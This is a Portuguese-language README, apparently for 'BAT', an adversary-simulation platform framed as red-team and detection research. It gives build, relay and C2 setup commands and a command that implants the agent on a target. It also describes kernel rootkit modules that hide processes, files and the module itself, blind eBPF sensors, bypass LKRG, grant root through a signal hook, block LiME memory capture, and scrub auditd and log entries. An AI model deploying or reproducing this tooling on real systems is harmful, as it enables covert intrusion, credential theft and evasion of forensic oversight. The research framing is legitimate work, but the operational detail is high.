
Plataforma de simulação de adversários Linux de espectro completo com stealth a nível de kernel, beaconing C2, escalada de privilégios, coleta de credenciais, movimentação lateral e destruição de artefatos. Projetada para operações de red team e pesquisa de detecção.
BAT é um modelo de ameaça adversária realista e em evolução para Linux e Windows. Não é um framework C2 e não é um rootkit. É uma plataforma completa de simulação de ameaças que integra comunicação C2, módulos rootkit furtivos a nível de kernel, evasão em espaço de usuário, escalonamento de privilégios, persistência, injeção de processos, coleta de credenciais, exfiltração e movimento lateral em um único adversário coeso. O objetivo de design é ser a ameaça Linux mais sofisticada e realista alcançável em 2026, independente do que qualquer sistema de detecção atualmente captura.
É o lado adversário de um par de pesquisa. O framework Aura evolui para detectar o Bat. O Bat evolui para evadir a Aura. O adversário nunca é limitado pelo detector.
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. Configurar```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
Gerar um segredo: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
Os binários vão para `bin/`.
### 4. Inicializar o relay```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
Implante um agente no alvo:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
Agent appears in bat-server como <agentID>@<hostname> dentro de um intervalo de beacon (padrão 30s).
A camada stealth do kernel (bat-stealth.ko, código fonte em kperf-qos/) é construída diretamente sobre Singularity, um framework avançado de pesquisa de rootkit de kernel. Quatro módulos principais foram portados e adaptados:
bpf_hook: Intercepta bpf(2) e todos os primitivos de comunicação eBPF. Qualquer sensor eBPF recebe zero telemetria para PIDs ocultos. Adaptado: ARCH_SYS("bpf") substitui o __x64_sys_bpf específico para x86; __ia32_sys_bpf removido para ARM64; HIDDEN_PORT substituído por um global configurável via sysfs.
hiding_fs: Exclusão completa do sistema de arquivos: filtragem de getdents64/getdents, ajuste de nlink em stat/statx/newfstatat, bloqueio de openat/access/faccessat /proc/<pid>, bloqueio de chdir e readlink. Mesclado de cinco módulos Singularity (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink). Adaptado: macros REGS_ARGn substituem acesso direto a registradores; should_hide_path() estendido para bat_hidden_paths[] configuradas em tempo de execução.
hide_module: Remove bat-stealth.ko de todas as listas de módulos do kernel. Estendido: Singularity já salva list.prev; esta versão salva ambos list.prev e list.next e envenena ambos para bloquear a travessia em qualquer direção. Adicionado module_unhide() para remoção reversível, necessário para o K-99 antes que delete_module(2) possa localizar o módulo pelo nome.
lkrg_bypass: Suprime a aplicação do LKRG para processos ocultos: hooka a entrega de sinais para bloquear SIGKILL para tarefas ocultas, hooka vprintk_emit para descartar mensagens de log do LKRG, desabilita a validação UMH durante a execução do agente. Portado diretamente sem alterações arquiteturais.
Os seguintes módulos foram desenvolvidos independentemente:
become_root: hook do sinal 59 que chama commit_creds(prepare_kernel_cred(NULL)) para conceder uid=0 (K-03)selfdefense: bloqueia a aquisição de memória do LiME, oculta entradas no kallsyms, bloqueia kprobes em símbolos do agente, reoculta o módulo em qualquer tentativa de enumeraçãoaudit: suprime eventos do auditd para PIDs ocultossysrq_hook: intercepta SysRq-T para excluir processos ocultos de dumps de tarefastaskstats_hook: filtra respostas NETLINK taskstats para PIDs ocultosreset_tainted + clear_taint_dmesg: zera /proc/sys/kernel/tainted e filtra linhas do dmesg contendo evidências de carregamento de módulohooks_write: intercepta todos os caminhos de escrita do kernel (write/splice/sendfile/tee + io_uring_enter/enter2 + compat ia32) para descartar entradas de log que correspondam a strings do agente antes que atinjam syslog ou journaldpid_manager: tracepoint de fork para manter o conjunto de PIDs ocultos em processos filhosA pilha completa torna o agente e todos os seus artefatos invisíveis para: ps, top, ss, netstat, lsof, travessia do sistema de arquivos em caminhos ocultos, lsmod, sysfs, kallsyms, auditd, todos os sensores eBPF, LKRG, LiME e análise forense SysRq.